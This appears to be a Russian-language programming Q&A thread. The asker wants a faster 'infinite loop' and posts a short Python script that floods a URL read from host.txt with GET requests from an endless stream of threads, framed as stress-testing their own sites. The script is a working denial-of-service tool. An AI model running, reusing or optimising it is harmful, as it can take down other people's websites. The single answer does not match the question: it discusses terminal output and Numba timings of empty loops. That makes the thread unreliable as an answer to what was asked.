Как можно ускорить цикл в python?
У меня есть участок код, который надо ускорить до предела! Мне нужно заменить питоновкий цикл на более быстрый бесконечный цикл! Может есть библиотеки или методы включающие в себя другие способы бесконечного цикла?
from requests import get
from threading import Thread
def Dos():
while True:
with open("host.txt", 'r') as file:
Host = file.read()
res = get(Host)
while True:
Thread(target=Dos).start()
Это программа для проверки на стойкость моих сайтов.
Ответы (1 шт):
Вывод в терминал - операция очень медленная, её можно ускорить только выкинув её вообще из кода.
А что касается "быстрого счёта до очень большой цифры", то тут хорошо помогает Numba.
Посмотрим, сколько считается до 100 миллионов без ухищрений:
def test():
for i in range(100_000_000):
pass
%time test()
# Wall time: 2.77 s
А теперь тоже самое с Numba:
from numba import njit
@njit()
def test():
for i in range(100_000_000):
pass
%time test()
# Wall time: 129 ms
Примерно в 20 раз быстрее.
А теперь напишем нереально большое число повторений цикла:
from numba import njit
@njit()
def test():
for i in range(1_000_000_000_000_000_000):
pass
%time test()
# Wall time: 73.5 ms
Хм, ещё меньше времени понадобилось, хотя это в общем-то погрешности измерения.
Так что ускорить пустой цикл - не проблема. Вопрос в том, что именно вы хотите делать в этом цикле. Зачем выводить быстро надписи на терминал - непонятно. Кто их там будет читать с такой скоростью и в таком количестве? А если там простая арифметика какая-то, то с ней прекрасно справляется Numba.
P.S. Если поставить внутри цикла банальный счётчик n += 1, то чисто питоновский цикл замедлится в 3 раза, а цикл на Numba будет работать с такой же скоростью как и раньше и только на сверхбольших числах замедлится раза в 2.